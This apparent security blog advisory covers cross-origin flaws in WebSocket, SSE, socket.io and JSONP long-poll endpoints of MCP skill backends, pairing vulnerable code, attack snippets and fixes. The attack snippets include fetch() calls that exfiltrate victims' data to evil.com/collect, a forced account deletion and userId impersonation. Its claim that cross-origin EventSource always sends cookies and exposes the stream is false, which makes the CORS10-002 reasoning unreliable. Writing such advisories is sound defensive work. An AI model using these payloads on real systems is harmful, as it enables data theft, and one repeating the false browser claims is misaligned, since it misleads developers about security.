← Blog

Claude skill CORS in WebSocket upgrade and SSE long-poll in MCP skill streaming endpoints — SA-SKL-CORS10

Browser CORS enforcement applies to XMLHttpRequest and fetch() — but WebSocket upgrades and EventSource connections follow different rules: browsers do not send CORS preflight for either, and EventSource sends cookies without credentials mode opt-in. SA-SKL-CORS10 covers the four cross-origin vulnerabilities specific to streaming endpoints in MCP skill backends: WebSocket Origin bypass, SSE credentialed cookie leakage, socket.io EIO3 wildcard regression, and JSONP on the long-poll fallback.

By SkillAudit  |  7 Nov 2026

CORS10-001 — WebSocket upgrade not gated by Origin: browsers never preflight WS

When a browser opens a WebSocket connection with new WebSocket('wss://api.example.com/ws'), it sends an HTTP Upgrade request with an Origin header set to the current page's origin. Unlike cross-origin fetch() requests, the browser does not send a CORS preflight OPTIONS request before the WebSocket upgrade — the upgrade is sent directly. This means the server's CORS middleware, which only inspects preflight responses, never runs for WebSocket upgrade requests. If the server accepts the WebSocket handshake without checking the Origin header, any page from any origin can open a WebSocket connection to the server and begin sending messages on behalf of the authenticated user (whose session cookie is included in the initial HTTP upgrade request). This is the WebSocket equivalent of CSRF: the cross-origin page does not need to read the response — it just needs to send messages that trigger state changes on the server. The fix is to validate the Origin header on the WebSocket upgrade event before completing the handshake, using the same trusted-origin allowlist the app uses for HTTP CORS.

# VULNERABLE — CORS10-001: WebSocket upgrade accepted without Origin header validation
// Node.js ws library — no origin check on upgrade:
const WebSocket = require('ws');
const wss = new WebSocket.Server({ port: 8080 });

wss.on('connection', (ws, req) => {
  // req.headers.origin is NEVER checked — any origin can connect
  const userId = getSessionUserId(req); // reads session cookie from upgrade request

  ws.on('message', (msg) => {
    const { action, data } = JSON.parse(msg);
    // Action executed on behalf of userId — attacker from evil.com can trigger this
    processAction(userId, action, data);
  });
});

# Attack (attacker page at evil.com):
# <script>
#   const ws = new WebSocket('wss://api.skillaudit.dev/ws');
#   ws.onopen = () => {
#     // Victim's session cookie was sent in the upgrade request
#     // Attacker now sends actions authenticated as the victim
#     ws.send(JSON.stringify({ action: 'deleteAccount', data: {} }));
#   };
# </script>

# Browser sends the upgrade request regardless of origin because there is no preflight
# Session cookie is included automatically (SameSite=Lax does NOT block upgrades in all browsers)
# FIXED — CORS10-001: validate Origin header on WebSocket upgrade event
const WebSocket = require('ws');

const ALLOWED_ORIGINS = new Set([
  'https://app.skillaudit.dev',
  'https://skillaudit.dev',
]);

// Use the verifyClient callback to gate the handshake before upgrade completes:
const wss = new WebSocket.Server({
  port: 8080,
  verifyClient: (info, done) => {
    const origin = info.origin || info.req.headers['origin'];

    if (!origin || !ALLOWED_ORIGINS.has(origin)) {
      // Reject the handshake — sends HTTP 401 to the browser
      return done(false, 401, 'Unauthorized origin');
    }

    done(true); // Allow handshake — origin is trusted
  }
});

wss.on('connection', (ws, req) => {
  // Origin was already validated — safe to proceed
  const userId = getSessionUserId(req);

  ws.on('message', (msg) => {
    const { action, data } = JSON.parse(msg);
    processAction(userId, action, data);
  });
});

// Alternative if using the 'upgrade' event directly on an http.Server:
server.on('upgrade', (req, socket, head) => {
  const origin = req.headers['origin'];
  if (!origin || !ALLOWED_ORIGINS.has(origin)) {
    socket.write('HTTP/1.1 401 Unauthorized\r\n\r\n');
    socket.destroy();
    return;
  }
  wss.handleUpgrade(req, socket, head, ws => wss.emit('connection', ws, req));
});
HIGH
SA-SKL-CORS10-001 — WebSocket upgrade requests in MCP skill backends accepted without validating the Origin header allow any cross-origin page to open an authenticated WebSocket connection using the victim's session cookie (which is sent automatically in the HTTP upgrade request), enabling CSRF-equivalent attacks that execute server-side actions on behalf of the authenticated user; fix by using the verifyClient callback in the ws library or gating the upgrade event on the HTTP server to reject handshakes from origins not in an explicit allowlist. Detection: SkillAudit flags WebSocket.Server or server.on('upgrade') usage without a preceding req.headers.origin allowlist check.

CORS10-002 — SSE endpoint returns user-specific data without Authorization header requirement

EventSource is the browser's built-in API for receiving server-sent events. Unlike fetch() with credentials: 'include', EventSource always sends cookies and HTTP auth headers with every request — there is no opt-in required. When an MCP skill backend serves an SSE endpoint (Content-Type: text/event-stream) that returns user-specific data (audit status updates, real-time notifications, private report results) authenticated only by a session cookie, any cross-origin page can open an EventSource connection to that endpoint and read the stream: const es = new EventSource('https://api.example.com/events') from evil.com will include the victim's cookies and receive their private event stream. The browser does not block this — EventSource is a simple request that follows redirect with cookies, similar to <img src=...>. The fix is to require an explicit Authorization: Bearer <token> header on the SSE endpoint, which EventSource cannot set (it has no headers API), forcing clients to use fetch() with credentials: 'include' instead, which is subject to full CORS enforcement. Add Vary: Authorization so proxies do not serve one user's stream to another.

# VULNERABLE — CORS10-002: SSE endpoint returns private data authenticated only by cookie
// Express SSE endpoint:
app.get('/events', (req, res) => {
  const userId = getSessionUserId(req); // reads session cookie — VULNERABLE

  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');
  // No CORS check — EventSource is a simple request, not preflighted

  const intervalId = setInterval(() => {
    const userEvents = getUserEvents(userId); // private data — audit results, notifications
    res.write(`data: ${JSON.stringify(userEvents)}\n\n`);
  }, 1000);

  req.on('close', () => clearInterval(intervalId));
});

# Attack (attacker page at evil.com):
# <script>
#   // EventSource always sends cookies — no fetch credentials opt-in needed
#   const es = new EventSource('https://api.skillaudit.dev/events');
#   es.onmessage = (event) => {
#     // Receives victim's private audit results as plain text
#     fetch('https://evil.com/collect', { method: 'POST', body: event.data });
#   };
# </script>
# When victim visits evil.com, their private SSE stream is exfiltrated
# FIXED — CORS10-002: require Authorization header on SSE; set Vary: Authorization
// Express SSE endpoint (fixed):
app.get('/events', (req, res) => {
  // Require explicit Authorization header — EventSource API cannot set custom headers
  // Clients must use fetch() with credentials: 'include' + explicit Authorization
  // This subjects the request to full CORS preflight enforcement
  const authHeader = req.headers['authorization'];
  if (!authHeader || !authHeader.startsWith('Bearer ')) {
    return res.status(401).json({ error: 'Authorization header required' });
  }

  const token = authHeader.slice(7);
  const userId = verifyBearerToken(token); // validate JWT or opaque token
  if (!userId) {
    return res.status(401).json({ error: 'Invalid token' });
  }

  res.setHeader('Content-Type', 'text/event-stream');
  res.setHeader('Cache-Control', 'no-cache');
  res.setHeader('Connection', 'keep-alive');
  // Vary: Authorization prevents proxy from serving one user's cached stream to another
  res.setHeader('Vary', 'Authorization');
  // CORS: only allow trusted origins — required for credentialed fetch() access
  res.setHeader('Access-Control-Allow-Origin', 'https://app.skillaudit.dev');
  res.setHeader('Access-Control-Allow-Credentials', 'true');

  const intervalId = setInterval(() => {
    const userEvents = getUserEvents(userId);
    res.write(`data: ${JSON.stringify(userEvents)}\n\n`);
  }, 1000);

  req.on('close', () => clearInterval(intervalId));
});

// Client must now use fetch() with explicit Authorization — not EventSource:
// const response = await fetch('/events', {
//   headers: { 'Authorization': `Bearer ${token}` },
//   credentials: 'include',
// });
// const reader = response.body.getReader(); // read SSE stream manually
HIGH
SA-SKL-CORS10-002 — SSE endpoints that return user-specific data authenticated only by a session cookie are readable from any cross-origin page via new EventSource(url) because the browser includes cookies in EventSource requests without CORS preflight enforcement; fix by requiring an explicit Authorization: Bearer header on the SSE endpoint (which EventSource cannot set), forcing clients to use fetch() which is subject to full CORS enforcement, and adding Vary: Authorization to prevent proxy caching of private streams. Detection: SkillAudit flags SSE endpoints (Content-Type: text/event-stream) that authenticate via req.session or req.cookies without also requiring an Authorization header.

CORS10-003 — socket.io allowEIO3: true with wildcard cors.origin

socket.io v3+ changed its default CORS behavior: by default it blocks all cross-origin connections unless an explicit cors.origin configuration is provided. When migrating from socket.io v2 (which used Engine.IO protocol version 3, EIO3) to v3+, developers often enable allowEIO3: true to maintain backward compatibility with older clients. The critical interaction is that EIO3 clients can bypass the socket.io v3 CORS configuration: they connect via the Engine.IO v3 transport which does not enforce the cors.origin restriction in some socket.io versions if allowEIO3 is true and cors.origin is set to "*". A production socket.io server configured with both allowEIO3: true and cors.origin: "*" (a common pattern copied from stack overflow for "making it work during development") accepts connections from any origin including an attacker's page, defeating the purpose of the origin restriction. Setting allowEIO3: false drops support for socket.io v2 clients but eliminates the bypass. If EIO3 support is required, replace the wildcard with an explicit origin allowlist so that even if EIO3 bypasses origin enforcement internally, the outer cors.origin array is enforced at the HTTP layer.

# VULNERABLE — CORS10-003: socket.io allowEIO3 + wildcard cors.origin bypasses origin restriction
const { Server } = require('socket.io');
const httpServer = require('http').createServer(app);

const io = new Server(httpServer, {
  // Added to support legacy socket.io v2 clients during migration
  allowEIO3: true,

  // Wildcard added "to make it work" — now CORS restriction is completely disabled
  cors: {
    origin: '*',           // allows ALL origins — attacker.com can connect
    methods: ['GET', 'POST'],
    credentials: true,     // Combined with '*' origin, this is misconfigured
    // Note: browsers reject Access-Control-Allow-Credentials: true with wildcard origin
    // but non-browser clients (attacker scripts) ignore CORS entirely
  }
});

io.on('connection', (socket) => {
  const userId = socket.handshake.auth.userId; // trusts client-supplied userId
  // Attacker from evil.com can connect and impersonate any userId
  socket.join(`user:${userId}`);
});

# Attack: attacker Node script (not a browser — bypasses browser CORS entirely):
# const { io } = require('socket.io-client');
# const socket = io('https://api.skillaudit.dev', {
#   auth: { userId: 'victim-user-id' },
#   transports: ['websocket']
# });
# socket.on('audit:result', (data) => console.log('Stolen:', data));
# FIXED — CORS10-003: allowEIO3: false and explicit origin array
const { Server } = require('socket.io');

const ALLOWED_ORIGINS = [
  'https://app.skillaudit.dev',
  'https://skillaudit.dev',
];

const io = new Server(httpServer, {
  // Disable EIO3 support — drop legacy socket.io v2 clients
  // If EIO3 must be supported, replace wildcard with the explicit array below
  allowEIO3: false,

  cors: {
    // Explicit string array — never use '*' in production
    origin: ALLOWED_ORIGINS,
    methods: ['GET', 'POST'],
    credentials: true,
  }
});

// Additionally: validate server-side auth — never trust client-supplied userId
io.use((socket, next) => {
  const token = socket.handshake.auth?.token;
  const userId = verifyToken(token);
  if (!userId) return next(new Error('Authentication failed'));
  socket.userId = userId; // set server-side, not from client
  next();
});

io.on('connection', (socket) => {
  socket.join(`user:${socket.userId}`); // server-verified userId
});

// If EIO3 compatibility IS required, use explicit origin array (not wildcard):
// cors: { origin: ALLOWED_ORIGINS, credentials: true }
// and always authenticate via server-validated token, never client-supplied userId
HIGH
SA-SKL-CORS10-003 — socket.io configured with allowEIO3: true and cors.origin: '*' disables effective origin restriction for Engine.IO v3 clients, allowing connections from any origin and defeating the socket.io v3 CORS enforcement introduced to restrict cross-origin WebSocket connections; fix by setting allowEIO3: false and replacing the wildcard origin with an explicit string array, or if EIO3 support is required, using the explicit allowlist and always verifying socket identity via a server-validated token rather than client-supplied credentials. Detection: SkillAudit flags socket.io Server instantiation with allowEIO3: true alongside cors.origin: '*'.

CORS10-004 — Long-poll fallback with ?callback= JSONP on polling endpoint

JSONP (JSON with Padding) is a legacy cross-origin data-fetching technique that wraps JSON in a JavaScript function call: a request to /api/data?callback=myFunc returns myFunc({"key":"value"}), which the browser executes as JavaScript. The <script src="..."> tag that triggers it is not subject to CORS — browsers load and execute scripts from any origin. JSONP was widely used before CORS existed; many server frameworks and reverse proxies still have JSONP callback support enabled by default. When an MCP skill backend's HTTP polling endpoint (the long-poll fallback for environments where WebSockets are blocked) responds to ?callback= query parameters by wrapping the response body in the callback function call, any page can read that endpoint's response — including responses that contain user-specific data protected by session cookies — by injecting a <script> tag. If the callback parameter is not removed, attackers exfiltrate any data the endpoint returns by overriding window.myFunc before the script tag loads. The fix is to remove all JSONP callback support from the polling endpoint, set Content-Type: application/json, and add X-Content-Type-Options: nosniff so browsers do not sniff the response as executable JavaScript even if the endpoint is loaded via a script tag by mistake.

# VULNERABLE — CORS10-004: long-poll endpoint responds to ?callback= with JSONP wrapping
// Express long-poll endpoint with JSONP support:
app.get('/poll', (req, res) => {
  const userId = getSessionUserId(req); // reads session cookie
  const events = getQueuedEvents(userId); // private audit events

  const callback = req.query.callback;
  if (callback) {
    // JSONP: wraps JSON in function call — readable from ANY origin via <script src=...>
    // No CORS preflight, no Origin check — just a script tag
    res.setHeader('Content-Type', 'application/javascript');
    // DANGEROUS: callback is unsanitized — also enables callback injection XSS
    res.send(`${callback}(${JSON.stringify(events)})`);
  } else {
    res.json(events);
  }
});

# Attack (attacker page at evil.com):
# <script>
#   function stealData(data) {
#     fetch('https://evil.com/collect', { method: 'POST', body: JSON.stringify(data) });
#   }
# </script>
# <!-- Script tag loads from same origin as victim's session — CORS does not apply -->
# <script src="https://api.skillaudit.dev/poll?callback=stealData"></script>
# When victim visits evil.com, stealData() is called with their private audit events
# FIXED — CORS10-004: remove JSONP callback support; use JSON only with nosniff
// Express long-poll endpoint (fixed):
app.get('/poll', (req, res) => {
  const userId = getSessionUserId(req);

  // Reject any request that includes a ?callback= parameter
  if (req.query.callback !== undefined) {
    return res.status(400).json({ error: 'JSONP not supported' });
  }

  const events = getQueuedEvents(userId);

  // Explicit JSON Content-Type prevents browser sniffing as executable JavaScript
  res.setHeader('Content-Type', 'application/json; charset=utf-8');
  // X-Content-Type-Options: nosniff prevents MIME-type sniffing — won't execute as JS
  res.setHeader('X-Content-Type-Options', 'nosniff');
  // Explicit CORS restriction — only the app origin may read this endpoint
  res.setHeader('Access-Control-Allow-Origin', 'https://app.skillaudit.dev');
  res.setHeader('Access-Control-Allow-Credentials', 'true');
  res.json(events);
});

// Add a global middleware to block JSONP on ALL API routes:
app.use('/api', (req, res, next) => {
  if (req.query.callback !== undefined || req.query.jsonp !== undefined) {
    return res.status(400).json({ error: 'Callback parameters not permitted' });
  }
  res.setHeader('X-Content-Type-Options', 'nosniff');
  next();
});

// If using socket.io: explicitly disable the jsonp option (defaults to true in some versions):
const io = new Server(httpServer, {
  transports: ['websocket', 'polling'],
  // Disable JSONP on the polling transport
  allowRequest: (req, callback) => {
    if (req.url.includes('callback=') || req.url.includes('j=')) {
      return callback('JSONP not allowed', false);
    }
    callback(null, true);
  }
});
HIGH
SA-SKL-CORS10-004 — Long-poll endpoints that respond to ?callback= query parameters with JSONP-wrapped responses allow any cross-origin page to read user-specific data returned by the endpoint using a <script src="..."> tag that bypasses CORS enforcement entirely, enabling cross-origin data exfiltration of private audit events authenticated by session cookie; fix by removing all JSONP callback handling, returning strict Content-Type: application/json with X-Content-Type-Options: nosniff, and adding a global middleware that rejects requests containing callback or jsonp query parameters. Detection: SkillAudit flags Express route handlers that branch on req.query.callback and emit Content-Type: application/javascript responses, and socket.io polling endpoint configurations that accept JSONP parameters.

Detection summary

ID Severity Pattern Fix
CORS10-001 HIGH WebSocket upgrade accepted without Origin header check — any cross-origin page connects with victim's cookies (no preflight) verifyClient callback checks info.origin against allowlist; upgrade event rejects non-listed origins
CORS10-002 HIGH SSE endpoint returns user data authenticated by cookie — EventSource sends cookies from any origin, no preflight Require Authorization: Bearer header; add Vary: Authorization; restrict Access-Control-Allow-Origin
CORS10-003 HIGH socket.io allowEIO3: true + cors.origin: '*' — EIO3 clients bypass origin enforcement allowEIO3: false; replace wildcard with explicit origin array; server-validate socket identity via token
CORS10-004 HIGH Long-poll ?callback= JSONP wrapping — <script> tag bypasses CORS to read private polling data Remove JSONP handler; Content-Type: application/json; X-Content-Type-Options: nosniff; global middleware rejects callback=

Related patterns: SA-SKL-CORS9 covers CORS preflight bypass via subdomain wildcard (*.example.com), null origin acceptance, and reflected origin without allowlist validation in MCP skill REST API endpoints. MCP server WebSocket security covers WebSocket message authentication, rate limiting on WS connections, heartbeat and timeout handling, and binary message frame size limits for hardening MCP skill WebSocket transports.